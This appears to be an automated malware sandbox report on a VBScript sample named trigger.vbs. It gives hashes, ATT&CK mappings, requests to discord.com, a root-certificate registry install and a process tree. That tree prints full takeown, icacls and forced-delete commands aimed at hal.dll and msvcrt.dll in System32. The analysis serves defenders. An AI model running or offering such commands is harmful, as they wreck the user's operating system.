03bb5d9425464244cb7574cba9929b3dc0e789916b46f2bf5a8e7b533034475f

General

Target

trigger.vbs
Size

3KB
MD5

200f9345cf839af7b98457b9e408446f
SHA1

57752503ef0c8afe36376f5b2132582682577b2c
SHA256

03bb5d9425464244cb7574cba9929b3dc0e789916b46f2bf5a8e7b533034475f
SHA512

da53cdc6380854f54abea0a9917220dbf20dca448365eaa17a344eba2b1976aeac0f57acbd6244f5c001b3fb1e6e5d94e4fa6ab0ce4a844856e4d1189d98fffd

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	2672	WScript.exe
7	2672	WScript.exe
9	2672	WScript.exe

Possible privilege escalation attempt 4 IoCs

exploit

pid	Process
3004	icacls.exe
2992	icacls.exe
1348	takeown.exe
2344	takeown.exe

Modifies file permissions 1 TTPs 4 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1348	takeown.exe
2344	takeown.exe
3004	icacls.exe
2992	icacls.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	discord.com
4	discord.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 0f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47420000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 19000000010000001000000068cb42b035ea773e52ef50ecf50ec529030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47409000000010000000c000000300a06082b060105050703011d0000000100000010000000918ad43a9475f78bb5243de886d8103c140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c00b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f00740000000f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f20000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9	WScript.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	1348	takeown.exe
Token: SeTakeOwnershipPrivilege	2344	takeown.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2672 wrote to memory of 2568	2672	WScript.exe	31
PID 2672 wrote to memory of 2568	2672	WScript.exe	31
PID 2672 wrote to memory of 2568	2672	WScript.exe	31
PID 2672 wrote to memory of 2880	2672	WScript.exe	33
PID 2672 wrote to memory of 2880	2672	WScript.exe	33
PID 2672 wrote to memory of 2880	2672	WScript.exe	33
PID 2568 wrote to memory of 1348	2568	cmd.exe	35
PID 2568 wrote to memory of 1348	2568	cmd.exe	35
PID 2568 wrote to memory of 1348	2568	cmd.exe	35
PID 2880 wrote to memory of 2344	2880	cmd.exe	36
PID 2880 wrote to memory of 2344	2880	cmd.exe	36
PID 2880 wrote to memory of 2344	2880	cmd.exe	36
PID 2880 wrote to memory of 2992	2880	cmd.exe	37
PID 2880 wrote to memory of 2992	2880	cmd.exe	37
PID 2880 wrote to memory of 2992	2880	cmd.exe	37
PID 2568 wrote to memory of 3004	2568	cmd.exe	38
PID 2568 wrote to memory of 3004	2568	cmd.exe	38
PID 2568 wrote to memory of 3004	2568	cmd.exe	38

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\trigger.vbs"
1⤵
- Blocklisted process makes network request
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Windows\System32\hal.dll && icacls C:\Windows\System32\hal.dll /grant Everyone:(F) && del/f C:\Windows\System32\hal.dll
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2568
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\hal.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1348
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\hal.dll /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Windows\System32\msvcrt.dll && icacls C:\Windows\System32\msvcrt.dll /grant Everyone:(F) && del/f C:\Windows\System32\msvcrt.dll
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2880
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\msvcrt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2344
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\msvcrt.dll /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2992

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
1⤵
PID:1452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

Modify Registry

Subvert Trust Controls

1

T1553

Install Root Certificate

1

T1553.004

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab2B85.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar2BA7.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\s.vbs

Filesize
756B

MD5
362834df28860b9ab1aa787a61c9bb9f

SHA1
ba008515db84417d15fd97c356e33fdb80379d15

SHA256
70866acf071a5b9ee641bad7a206eb3f1e6e27df0bd1cb4cfa25cbf391f60ff7

SHA512
ef8f7b5aa4a99c7275c9ba8c27f06148b6e359f9c0f8357f07c685f835c7c8bcfac7b937334b4c9b282b410b300f55d729287a27c5327affe02e8aad3fa918c8

Download Submit
C:\Users\Admin\Desktop\DIE6.lnk

Filesize
1KB

MD5
55edaf6b06800bd8ba63a5c3d36aae32

SHA1
cbba97701e7b962f26ce6b6e39ca3e0c0291382b

SHA256
561f284fdbfcbfc56b015c45dc8872914fbd27447a7414c1cd005206dbbe47c5

SHA512
f5dab06f0f9bd8839f4df586583f92ff5a59e1b03b3b9743b133c4effe1aa12f91d2ed1f7dbecd2950ff3f8e36c5ceacba55a6cd0c7c67acdad0401b4de32a68

Download Submit

Analysis

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